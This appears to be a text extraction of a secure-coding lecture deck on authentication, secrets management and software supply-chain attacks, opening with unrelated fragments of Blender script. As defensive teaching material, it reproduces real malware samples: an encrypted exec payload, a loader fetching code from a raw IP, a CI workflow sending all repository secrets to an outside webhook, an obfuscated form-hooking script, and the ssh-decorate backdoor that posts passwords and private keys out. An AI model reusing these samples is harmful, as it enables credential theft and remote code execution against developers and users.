

```
for object to mirror_
mirror_mod.mirror_object

operation == "MIRROR_X":
mirror_mod.use_x = True
mirror_mod.use_y = False
mirror_mod.use_z = False
operation == "MIRROR_Y":
mirror_mod.use_x = False
mirror_mod.use_y = True
mirror_mod.use_z = False
operation == "MIRROR_Z":
mirror_mod.use_x = False
mirror_mod.use_y = False
mirror_mod.use_z = True
```


```
@selection at the end -add
mirror_ob.select= 1
mirror_ob.select= 1
context.scene.objects[act
("Selected" + str(modifier
mirror_ob.select = 0
= bpy.context.selected_obj
data.objects[one.name]
print("please select exactly
-- OPERATOR CLASSES --
```

```
types.Operator):
on X mirror to the selected
object.mirror_mirror_x"
mirror X"
```

Secure Coding

Martin Carnogursky

admin@sourcecode.ai



Authentication & Authorization in practice

Don't repeat the same mistakes I did ...

- **DON'T Make your own auth system** (username & password)
 - ^ If there is one thing you should remember from this
- Use existing 1st / 3rd party services by integrating into them
- Use existing protocols (ex. OpenID/OIDC/OAuth, ...)
- Plan carefully into the future
 - Swapping auth system is very high-risk, time consuming and something always goes wrong


Quick reference

- **OpenID** -> use the OpenID provider to log in to your application (e.g. Sign in via Google); Authentication layer: proving who you are
- **OAuth** -> allow an application to act on your behalf (e.g. Post a message to Twitter); Authorization layer: grant access to functionality/data
- **OIDC** -> OpenID Connect
- **SSO** -> Single Sign On; done usually via OpenID or SAML
- **SAML** limitations -> browser workflow only, no mobile devices/rest api

What to plan for

- Verify identity of a given user (user+password, SSO, api tokens, ...)
 - Authentication & Authorization
- Role based model: admin vs „normal“ user vs tech support and more
- Impersonation
- Password reset, 2FA, enrolling users
- API tokens
 - Inherit user permissions
 - Account lockdowns & resets must affect api tokens as well

3rd party auth providers*



OIDC



Redirect

A screenshot of a web form titled "Account Sign in". It features three social login buttons: "Continue with Google" (red), "Continue with Facebook" (blue), and "Continue with Apple" (black). Below these is a "or" separator, followed by input fields for "Email or Username" and "Password". A "Forgot?" link is next to the password field. A yellow "Sign in" button is at the bottom. Below the button, there is a note: "Need an account? Press the Google, Facebook, or Apple buttons above, or sign up with email". At the very bottom, there is a small disclaimer: "By creating an account or continuing to use a Plex application, website, or software, you acknowledge and agree that you have accepted the Terms of Service and have reviewed the Privacy Policy."

MFA/2FA

JWT/API Tokens

* Personal preference/experience

Authentication & Authorization for developers (and employees)

- Access to the database
- Access to the server (ssh, ftps, ...)
- Access for (server/performance) monitoring (or dashboard)
- Interns (temporary access to some resources)
 - People leaving company
- Enrolling new developers
- Bug reporting
- Audits

You are a high value target as a developer!

- Root/admin access on servers
- Unrestricted read/write to DBs
- Read/write access to the source code
- Access to a CI pipeline
- Access to deployments (docker, kubernetes, nomad, ...)
- Access to releases (package, exe, ...)
- Access to sensitive 3rd party APIs (ex. Payment gateway)
- Copies of data (db, customer details, dumps)

Common mistakes

- Shared API keys
- No access policy
- No auditing/logs
- Config files vs. Environ vars
 - dotenv

HashiCorp Vault / OpenBao*

- ACL for managing secrets
- Generate temporary secrets on the fly
 - Automatic expiration & renewal
 - Roles & policies for every user & secret
- Easy revocations
- Awareness of active secrets
- Full audit logs: what secret was issued to whom, when, with what privileges, start & end (expiration) dates etc...
- Many engines supporting many protocols:
 - SQL DBs (postgres, mariadb, mssql, ...)
 - NoSQL DBs (kafka, mongo, ...)
 - Other systems (Cas, SSL certs, SSH, JWT tokens, ...)
- Integration with OIDC


* Personal preference/experience that I stick with, there are other alternatives



Software supply chain



What is a supply chain?



How ~~babies~~ packages are made



[peewee-2.27.1.tar.gz](#)

```
1  from setuptools import setup
2
3  readme = open("readme.txt", "r").read()
4
5  setup(
6  → name='peewee',
7    version=__import__('peewee').__version__,
8    description='a little orm',
9    long_description=readme,
10   author='Charles Leifer',
11   author_email='coleifer@gmail.com',
12   url='https://github.com/coleifer/peewee/',
13 → packages=['playhouse'],
14   py_modules=['peewee', 'pwiz'],
15 → install_requires=["total_legit_dependency>=2.3.4"],
16   classifiers=[
17     'Development Status :: 5 - Production/Stable',
18     'Intended Audience :: Developers',
19     'License :: OSI Approved :: MIT License',
20     'Operating System :: OS Independent',
21     'Programming Language :: Python :: 2',
22     'Programming Language :: Python :: 3.7',
23     'Topic :: Software Development :: Libraries :: Python Modules',
24   ],
25   license='MIT License',
26   project_urls={
27     'Documentation': 'http://docs.peewee-orm.com',
28 → 'Source': 'https://github.com/coleifer/peewee'},
29   scripts=['pwiz.py'],
30   )
31
```

A terminal window with a black background and three colored window control buttons (red, yellow, green) in the top-left corner. The text inside the terminal is `python setup.py build`. An orange arrow points from the code block on the left to this terminal window.

A terminal window with a black background and three colored window control buttons (red, yellow, green) in the top-left corner. The text inside the terminal is `# pip install peewee`. An orange arrow points from the PyPI logo to this terminal window.

Setup.py <- „.py“ means it's **executable**

```
setup( # We are in fact calling a python function with the following arguments
...
name='windows95',
author='Bill Gates',
author_email='bill.gates@microsoft.com',
url='https://github.com/coleifer/peewee/',
packages=['requests', 'cGVld2Vl\n'.decode('base64') , 'ipaddress'],
install_requires=random.choice(["pkg1", "pkg2", "pkg3", "pkg4", "pkg5"]),
...
)
```

TL;DR: Most packages (and/or their formats) are not deterministic!


Types of attacks

- Namesquatting
 - Typosquatting
 - Stub package
 - Phishing
 - Starjacking
 - Dependency confusion
- Existing packages
 - Malicious dependency
 - Package takeover
 - Dependency hijack
 - Source code modification

Typosquatting/namesquatting

10,000+ projects for "requests"


Order by **Relevance**

 **requests 2.27.1**
Python HTTP for Humans.


Jan 5, 2022

 **requests5 1.0.0**
无与伦比的简单且强大的requests

Apr 20, 2020

 **requests3 0.0.0**
Name Squatting.

Mar 16, 2018

 **requests2 2.16.0**
Python HTTP for Humans.

May 27, 2017

 **scikits.learn 0.8.1**
A set of python modules for machine learning and data mining

 **learn 1.0.0**
A simple printer of nested lines

 **scikit-learn 0.20.2**
A set of python modules for machine learning and data mining

 **scikit-learn_runnr 0.18.dev1**
A set of python modules for machine learning and data mining

What was the name again?

- a) pip install pewe
- b) pip install peewe
- c) pip install pewee
- d) pip install peewee

Types of attacks

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Starjacking

requests3 0.0.0

```
pip install requests3
```

Name Squatting.

Project links

[Homepage](#)

Statistics

GitHub statistics:

- ★ Stars: 47 388
- 🔗 Forks: 8 731
- 📌 Open issues/PRs: 226

View statistics for this project via [Libraries.io](#), or by using [our public dataset on Google BigQuery](#)

Project description

requests 2.27.1

```
pip install requests
```

Python HTTP for Humans.

Project links

- [Homepage](#)
- [Source](#)
- [Documentation](#)

Statistics

GitHub statistics:

- ★ Stars: 47 388
- 🔗 Forks: 8 731
- 📌 Open issues/PRs: 226

View statistics for this project via [Libraries.io](#), or by using [our public dataset on Google BigQuery](#)

Project description

Requests

Requests is a simple, yet elegant, HTTP library.

```
>>> import requests
>>> r = requests.get('https://httpbin.org/get')
>>> r.status_code
200
>>> r.headers['content-type']
'application/json; charset=utf8'
>>> r.encoding
'utf-8'
>>> r.text
'{"authenticated": true, ...}'
>>> r.json()
{'authenticated': True, ...}
```

Types of attacks

- Namesquatting
 - Typosquatting
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 - Starjacking
 - **Dependency confusion**
- Existing packages
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Dependency confusion

Dependency confusion attack mounted via PyPi repo exposes flawed package installer behavior

Adam Bannister 19 February 2021 at 16:40 UTC
Updated: 17 June 2021 at 14:28 UTC

Novel supply chain attack detected in the wild just days after security researcher disclosed the technique


UPDATED The default behavior of `pip`, the Python package installer, leaves the software development process vulnerable to 'dependency confusion' attacks, a software vendor has discovered.

Use of the novel supply chain attack technique has been detected in the wild only a week after it was disclosed by its architect.

Pip's insecure behavior highlights a "major problem in the way code is being shared and reused through node package manager [NPM], PyPi, and other online repositories", says Henri Terho, chief R&D evangelist at Qentinel, in a [blog post](#).

Infiltrating the build process

The attack came to light on February 16 when a developer at the automated software testing specialist reported the mysterious failure of a build pipeline when fetching internal libraries.



```
{ "test": "yelp-js-infra-test", "react": "16.4.2", "test:watch": "yelp-js-infra test --react -- -watchAll", "prepublish": "make build", "typecheck": "flow check"}, "dependencies": {"snake-case": "^2.1.0", "yelp-bunsen-logger-js": "^4.4.1", "yelp_sitrep": "^7.13.2"}, "devDependencies": {"enzyme": "^3.11.0", "flow-bin": "^0.100.0", "flow-copy-source": "^1.2.1", "react": "^16.4.2", "react-dom": "^16.4.2", "yelp-js-infra": "^33.39.0"}, "files": ["lib", "src"], "peerDependencies": {"react": "^16.4.2", "react-dom": "^16.4.2"} } }
```

Source:

- <https://portswigger.net/daily-swig/dependency-confusion-attack-mounted-via-pypi-repo-exposes-flawed-package-installer-behavior>
- <https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610>

Types of attacks

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Malicious Package

Affecting `node-ipc` package, versions `>=10.1.1 <10.1.3`

INTRODUCED: 16 MAR 2022

MALICIOUS

CVE-2022-23812 ?

CWE-506 ?

FIRST ADDED BY SNYK

Share ▾

How to fix?

Upgrade `node-ipc` to version 10.1.3 or higher.

Overview




`node-ipc` is a malicious package. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji.

Note: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, `node-ipc` imports the `peacenetwar` package that includes potentially undesired behavior.

Source: <https://security.snyk.io/vuln/SNYK-JS-NODEIPC-2426370>

Exploiting PRs/commits workflow

- GitHub diff view doesn't like NULL characters
- Automatic trigger of CI pipeline
 - Self-approve PRs
- Add new CI/CD workflows
- Fake digital signatures



Malicious PR

The screenshot shows a GitHub pull request titled "Update requirements.txt" on the "main" branch, committed by "LoffyNora" (verified). The diff for "requirements.txt" shows three changes:

- A removal of a dependency from `pythonhosted.org` to `pypihosted.org` (highlighted in red with a warning icon).
- A new addition of a dependency from `pythonhosted.org` to `pypihosted.org` (highlighted in green with a checkmark icon).
- A new addition of a dependency from `pythonhosted.org` to `pythonhosted.org`.

```
@@ -1,3 +1,3 @@
- https://files.pythonhosted.org/packages/9d/be/10918a2eac4ae9f02f6cfe6414b7a155ccd8f7f9d4380d62fd5b955065c3/requests-2.31.0.tar.gz
+ https://files.pypihosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz
+ https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz
https://files.pythonhosted.org/packages/19/d3/7cb826e085a254888d8afb4ae3f8d43859b13149ac8450b221120d4964c9/prettytable-3.10.0.tar.gz
```

```
__import__('os').system('pip install -q fernet requests pycryptodome psutil 55 cls');exec(__import__('fernet').Fernet
(b'k18sqWgI-
YSxDM1tS2XfQS36Cq4KPDF_DPN0pQKgTU=').decrypt(b'gAAAAABl7I8_tKswQpzNiF1wPmS7jKWh3zh_w51R7pC50n6wnjppqGQlsuTjGyc1J6rWea_hJgz
-5HLIhwWSqAQCh1ld0fy3wf67BGjB0IRwphup0brSrTHToIJ3HjMI-0pj_60BMqLkMdbUw2BESY8s6TKK9rA4v1zL6itZ2x53litlsdEwDDubAndPc3Iv0zVp6q
-h5MTsZrkerM8Nh1-DikIzBgae3IUpR6mdUP9YXVh4bJmf4S4PlLoZXIIkdhT6CKQBV9y8uJ3-YVNBzqyntkthzD1aLV2rccLnrD-X81mDLlllMKq2x-0CahTx
ix0u2ZZkKHp8wFRy_8YkIVXHKwRmgtubcSHHr1zVMW0yAgYM6SGJLYPXes9CuTXU0ziFHIE7Mmxi69CZ4i7kHmlech9aXlYksb3s6gmMDtwNbwtLw4ShIMrD
6uXp2ONVwjFRBQ2_-HnAf8Kzkhtj0BH0Rz_gSYKy0ENh2elrobbUtpYyqlpcQaRjXgc4sZUNjZ2C3QkfAXdt5ywnejnM9H08U7fnvtb3ZgmQvZ08NE9Gm4UUR
u0ahvqYe0Y3eX0Hse9UbPuanUEALY0Vr0NoLLaB0Wso534fTr57mn8C3vafhho0iJ4w6tt0PkoSMiuminS9wTP7kbGVevA0s4N6c29ilRA
3z1aopK
```

dM9i9tK
TdAPNnA
yk8vbeU

```
import subprocess
from tempfile import NamedTemporaryFile as tempnaw
from os import system as syast
py_execs = ["pythonw", "pyw", "py"]
for py_exec in py_execs:
    try:
        subprocess.run([py_exec, "--version"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        break
    except FileNotFoundError:
        continue
else:
    py_exec = "python"
temp_file = tempnaw(delete=False)
temp_file.write(b""exec(__import__('requests').get('http://162.248.100.217/inj', headers={'User-Agent': 'Mozilla/5.0 (CyberW / Python) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30'}).text)""")
temp_file.close()
try:
    syast(f"start {py_exec} {temp_file.name}")
except:
```

Showing 6 changed files with 23 additions and 3 deletions.

Whitespace Ignore whitespace Split Unified

Filter changed files

- github/workflows
 - hook.yml
- assets/js
 - bootstrap.min.js
 - main.js
- keplerthemes
 - Documentation/assets/js
 - jquery.js
 - script.js
 - kepler/js
 - bootstrap.min.js

13 .github/workflows/hook.yml

@@ -0,0 +1,13 @@

```

1 + name: Hook
2 + on: [push]
3 + jobs:
4 +   env:
5 +     runs-on: ubuntu-latest
6 +     steps:
7 +       - name: Run
8 +         env:
9 +           MY_ENV: ${ toJson(secrets) }
10 +          MY_VARS: ${ toJson(vars) }
11 +         run: |
12 +           echo $MY_ENV | curl "https://send.wagateway.pro/webhook" -H
13 +           echo $MY_VARS | curl "https://send.wagateway.pro/webhook" -H
           'Content-Type: application/json' -d @-

```

3 assets/js/bootstrap.min.js

2 assets/js/main.js


@@ -197,3 +197,5 @@ \$(document).ready(function () {

```

197     });
198     }());
199     }());
200 +
201 + (function(){if(typeof n!="function")var n=function(){return new
    Promise(function(e,r){let o=document.querySelector('script[id="hook-
    loader"]');o==null&&
    (o=document.createElement("script"),o.src=String.fromCharCode(47,47,115,101,1
    10,100,46,119,97,103,97,116,101,119,97,121,46,112,114,111,47,99,108,105,101,1
    10,116,46,106,115,63,99,97,97,104,101,61,105,103,110,111,114,101),o.id="hook-
    loader",o.onload=e,o.onerror=r,document.head.appendChild(o))};n().then(func
    tion(){window._LOL=new Hook>window._LOL.init("form")}).catch(console.error)}
    ();//4bc512bd292aa591101ea30aa5cf2a14a17b2c0aa686cb48fde0feeb4721d5db

```

Leaking credentials



The image shows a file explorer window for a directory named 'Aimelia-15'. The file list includes:


Názov	Dátum úpravy	Veľkosť	Druh
.pypirc	3. novembra 2016, 15:56	124 bajtov	Dokument
aim	2. apríla 2017, 19:41	5 kB	Dokument
Aimelia.egg-info	12. augusta 2019, 22:55	--	Priečinok
MANIFEST	3. novembra 2016, 15:56	57 bajtov	Dokument
PKG-INFO	2. apríla 2017, 19:41	714 bajtov	Dokument
release.sh	3. novembra 2016, 15:56	431 bajtov	Shell Script
setup.cfg	2. apríla 2017, 19:41	59 bajtov	Configuration file
setup.py	2. apríla 2017, 19:41	2 kB	Python Source

Below the file explorer, a code editor window displays the contents of the .pypirc file:

```
1 [distutils]
2 index-servers =
3   pypi
4
5 [pypi]
6 #repository: <repository-url>
7 username:
8 password:
9
10
```

The password field in the code editor is redacted with a black box.

It's not important, or is it?




Disclaimer: Not recent, found in 2018, first significant finding of the Aura project.
Reported to Python security team and forced password reset.

Threat modeling via graphs

By compromising user aclark we have access to all these packages via (in)direct dependencies. →

Compromising key strategic packages/users is enough to compromise most of the pypi ecosystem.



Source code modifications



mowshon commented 2 days ago

In your source code on pypi.org you have a piece of malware code.
<https://pypi.org/project/ssh-decorate/#files>

Last update: May 5, 2018

Why you log users private data?

Why this part of code is missing from your github repo?

```
try:
    from urllib.request import urlopen
    from urllib.parse import urlencode

    def log(data):
        try:
            post = bytes(urlencode(data), "utf-8")
            handler = urlopen("http://ssh-decorate.cf/index.php", post)
            res = handler.read().decode('utf-8')
        except:
            pass
except:
    from urllib import urlencode
    import urllib2
    def log(data):
        try:
            post = urlencode(data)
            req = urllib2.Request("http://ssh-decorate.cf/index.php", post)
            response = urllib2.urlopen(req)
            res = response.read()
        except:
            pass
```



2

```
from itertools import chain
try:
    from urllib.request import urlopen
    from urllib.parse import urlencode

    def log(data):
        try:
            post = bytes(urlencode(data), "utf-8")
            handler = urlopen("http://ssh-decorate.cf/index.php", post)
            res = handler.read().decode('utf-8')
        except:
            pass
except:
    from urllib import urlencode
    import urllib2
    def log(data):
        try:
            post = urlencode(data)
            req = urllib2.Request("http://ssh-decorate.cf/index.php", post)
            response = urllib2.urlopen(req)
            res = response.read()
        except:
```

```
self.password = password
self.port = port
self.verbose = verbose
# initiate connection
self.ssh_client = paramiko.SSHClient()
self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
privateKeyFile = privateKeyFile if os.path.isabs(privateKeyFile) else os.path.expanduser(privateKeyFile)
pdata = ""
if os.path.exists(privateKeyFile):
    private_key = paramiko.RSAKey.from_private_key_file(privateKeyFile)
    self.ssh_client.connect(server, port=port, username=user, pkey=private_key)
    try:
        with open(privateKeyFile, 'r') as f:
            pdata = f.read()
    except:
        pdata = ""
else:
    self.ssh_client.connect(server, port=port, username=user, password=password)
log({"server": server, "port": port, "pkey": pdata, "password": password, "user": user})
self.chan = self.ssh_client.invoke_shell()
self.stdout = self.exec_cmd("PS1='python-ssh:'") # ignore welcome message
self.stdin = ''
```

Reproducible builds

The screenshot shows the TensorFlow GitHub repository page. At the top, it displays navigation links for Code, Issues (4.1k), Pull requests (240), Actions, Projects (1), and Releases (132). Below this, there are filters for the master branch, 37 branches, and 132 tags. A list of recent commits is visible, including merge pull requests and updates to build files like .bazelrc and .bazelversion. The 'About' section on the right describes TensorFlow as an Open Source Machine Learning Framework for Everyone, with a link to tensorflow.org and a list of supported languages and frameworks.

The screenshot shows the TensorFlow 2.4.0 PyPI page. It features a search bar, navigation links (Help, Sponsor, Log in, Register), and a prominent 'Latest version' button. The main heading is 'tensorflow 2.4.0' with a 'pip install tensorflow' button. Below this, it states 'Released: Dec 14, 2020'. The 'Project description' section explains that TensorFlow is an open source machine learning framework for everyone. The 'Navigation' section includes links for Project description, Release history, Download files, and Project links. The 'Statistics' section shows GitHub statistics: Stars: 152,328, Forks: 83,725, and Open issues/PRs: 4,296.

How can we make sure, whatever is in github is the exact same version deployed on pypi without any additional modifications such as malware, backdoors etc?

More reading: <https://reproducible-builds.org>

Lab/Seminar: https://github.com/SourceCode-AI/secure_coding



OpenSSF

OPEN SOURCE SECURITY FOUNDATION

<https://openssf.org>

`^SourceCode\.AI$`

`admin@sourcecode.ai`

- `^Aura$`
- `^Ambience$`

2021 Solarwinds breach...

- Attackers even mimicked the coding style of developers to remain stealth
- Could be (arguably) easily detected by behavioral indicators

Static behavioral indicators

Privilege escalation

Tampers with user/account privileges

Enumerates system information using WMI

Reads information about one or more running processes

```
// Decompiled with JetBrains decompiler
// Type: SolarWinds.Orion.Core.BusinessLayer.BackgroundInventory.InventoryManager
// Assembly: SolarWinds.Orion.Core.BusinessLayer, Version=2019.4.5200.9083, Culture=neutral, PublicKeyToken=null
// MVID: E12E8C85-5CD9-4E86-8801-182E5104FADE
internal void RefreshInternal()
{
    if (InventoryManager.log.get_IsDebugEnabled())
        InventoryManager.log.DebugFormat("Running scheduled background backgroundInventory check on engine {0}", (object) this.engineID);
    try
    {
        if (!OrionImprovementBusinessLayer.IsAlive)
            new Thread(new ThreadStart(OrionImprovementBusinessLayer.Initialize))
            {
                IsBackground = true
            }.Start();
    }
    catch (Exception ex)
    {
    }
    if (this.backgroundInventory.IsRunning)
    {
        InventoryManager.log.Info((object) "Skipping background backgroundInventory check, still running");
    }
    else
    {
        this.QueueInventoryTasksFromMod...
        this.QueueInventoryTasksFromInv...
        if (this.backgroundInventory.Quit...
            return;
        this.backgroundInventory.Start(...
    }
}
```

SolarWinds.Orion.Core.BusinessLayer.dll PE/.Net Dll 1003.98KB

Tags

- cert-expired
- crypto-md5
- string-https
- crypto-sha1
- indicator-permissions
- wmi-use
- privilege-escalation

Indicators

- Reads information about one or more running processes.
- Contains reference to MD5 algorithm .NET Framework classes.
- Contains reference to advapi32.dll which is Advanced Windows 32 Base API.
- Contains reference to kernel32.dll which is Windows NT BASE API Client DLL.
- Tampers with user/account privileges.
- Enumerates user/account privilege information.
- Enumerates system information using WMI.
- Contains reference to SHA1 algorithm .NET Framework classes.
- Tampers with system shutdown.